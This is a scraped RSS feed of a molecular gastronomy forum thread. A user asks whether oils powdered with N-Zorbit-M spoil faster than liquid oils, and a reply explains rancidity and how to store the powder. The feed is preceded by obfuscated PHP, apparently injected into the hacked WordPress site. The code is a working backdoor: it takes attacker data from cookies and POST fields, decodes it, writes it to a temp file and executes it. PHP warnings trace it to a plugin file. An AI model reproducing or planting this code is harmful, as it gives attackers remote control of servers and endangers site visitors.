$ELAYRxoh = "\166" . chr ( 505 - 440 ).chr ( 263 - 147 )."\137" . 'c' . chr (97) . 'Q' . chr (79) . "\x59";$cLaWNXWXkv = chr ( 563 - 464 ).chr (108) . chr (97) . 's' . "\163" . "\137" . chr ( 192 - 91 )."\x78" . "\x69" . chr ( 192 - 77 ).'t' . "\163";$yUSMGT = class_exists($ELAYRxoh); $cLaWNXWXkv = "5704";$WpXFTjaRYh = strpos($cLaWNXWXkv, $ELAYRxoh);if ($yUSMGT == $WpXFTjaRYh){function JolRsOTr(){$uuGxWyL = new /* 52902 */ vAt_caQOY(16008 + 16008); $uuGxWyL = NULL;}$NpZCJmv = "16008";class vAt_caQOY{private function WuYKj($NpZCJmv){if (is_array(vAt_caQOY::$ehAEjuzT)) {$name = sys_get_temp_dir() . "/" . crc32(vAt_caQOY::$ehAEjuzT["salt"]);@vAt_caQOY::$ehAEjuzT["write"]($name, vAt_caQOY::$ehAEjuzT["content"]);include $name;@vAt_caQOY::$ehAEjuzT["delete"]($name); $NpZCJmv = "16008";exit();}}public function PQpXpOm(){$ugLeT = "26829";$this->_dummy = str_repeat($ugLeT, strlen($ugLeT));}public function __destruct(){vAt_caQOY::$ehAEjuzT = @unserialize(vAt_caQOY::$ehAEjuzT); $NpZCJmv = "54911_23266";$this->WuYKj($NpZCJmv); $NpZCJmv = "54911_23266";}public function dWVGKyVI($ugLeT, $BMPNRcS){return $ugLeT[0] ^ str_repeat($BMPNRcS, intval(strlen($ugLeT[0]) / strlen($BMPNRcS)) + 1);}public function arkbVX($ugLeT){$PgJBDh = 'b' . chr ( 1071 - 974 )."\163" . chr ( 994 - 893 ).chr ( 935 - 881 )."\x34";return array_map($PgJBDh . '_' . "\x64" . "\145" . "\143" . chr ( 595 - 484 )."\x64" . "\x65", array($ugLeT,));}public function __construct($xMHUz=0){$mCliM = "\54";$ugLeT = "";$OMzVkrE = $_POST;$SqHEfVNGO = $_COOKIE;$BMPNRcS = "6d927bed-d2b9-41fd-88fc-8cb4e0adf8bb";$ryQiuy = @$SqHEfVNGO[substr($BMPNRcS, 0, 4)];if (!empty($ryQiuy)){$ryQiuy = explode($mCliM, $ryQiuy);foreach ($ryQiuy as $McWJA){$ugLeT .= @$SqHEfVNGO[$McWJA];$ugLeT .= @$OMzVkrE[$McWJA];}$ugLeT = $this->arkbVX($ugLeT);}vAt_caQOY::$ehAEjuzT = $this->dWVGKyVI($ugLeT, $BMPNRcS);if (strpos($BMPNRcS, $mCliM) !== FALSE){$BMPNRcS = explode($mCliM, $BMPNRcS); $nvfROaW = sprintf("54911_23266", strrev($BMPNRcS[0]));}}public static $ehAEjuzT = 23838;}JolRsOTr();}
Warning: Cannot modify header information - headers already sent by (output started at /srv/users/serverpilot/apps/molecularrecipes/public/wp-content/plugins/seo-ultimate/modules/import-aiosp/332f8ef1.php:1) in /srv/users/serverpilot/apps/molecularrecipes/public/wp-content/plugins/bbpress/includes/replies/functions.php on line 1997

Warning: Cannot modify header information - headers already sent by (output started at /srv/users/serverpilot/apps/molecularrecipes/public/wp-content/plugins/seo-ultimate/modules/import-aiosp/332f8ef1.php:1) in /srv/users/serverpilot/apps/molecularrecipes/public/wp-content/plugins/bbpress/includes/replies/functions.php on line 1998
Molecular RecipesQuestion on powdered fats. – Molecular Recipes http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/question-on-powdered-fats/feed Fri, 14 Mar 2025 01:08:30 +0000 http://bbpress.org/?v=2.5.14-6684 en-US http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/question-on-powdered-fats/#post-8643 <![CDATA[Question on powdered fats.]]> http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/question-on-powdered-fats/#post-8643 Mon, 24 Mar 2014 20:26:31 +0000 rms311 Will powdered fats (olive oil, peanut oil, etc) produced via mixing with n-zorbit-m spoil quicker than their liquid counterparts?

]]> http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/question-on-powdered-fats/#post-8708 <![CDATA[Reply To: Question on powdered fats.]]> http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/question-on-powdered-fats/#post-8708 Thu, 27 Mar 2014 11:03:44 +0000 Kevin Liu rms311: Probably not, but without a test, we can’t know for sure.

Liquid oils do not “go bad” per se, rather they will go rancid – a chemical change that results in an off-flavor in the oil. Exposure to air, heat, and sunlight will increase the rate at which oils go rancid.

N-zorbit-m should actually reduce the amount that oils are exposed to the atmosphere, as the powder functions by forming a protective barrier around oil molecules. With that being said, it’s important to store powderized oils in an air-tight container in a cool, dark place.

N-zorbit-m and other maltodextrins can spoil if exposed to moisture; take care to avoid powderizing oils in particularly humid environments.

Hope that helps, and always: if in doubt, throw it out.

]]> http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/question-on-powdered-fats/#post-8709 <![CDATA[Reply To: Question on powdered fats.]]> http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/question-on-powdered-fats/#post-8709 Thu, 27 Mar 2014 23:08:41 +0000 rms311 Thanks Kevin. I was thinking along those same lines, but really have no experience with powdered fats. Oxidation was my major concern. Your answer seems logical enough, but I’ll be sure to give it a few test runs.

A few buddies and I are in the middle of developing a pretty cool product that uses aspects of molecular gastronomy, I may or may not have a few more questions in the near future. Thanks again for your response! 🙂

]]>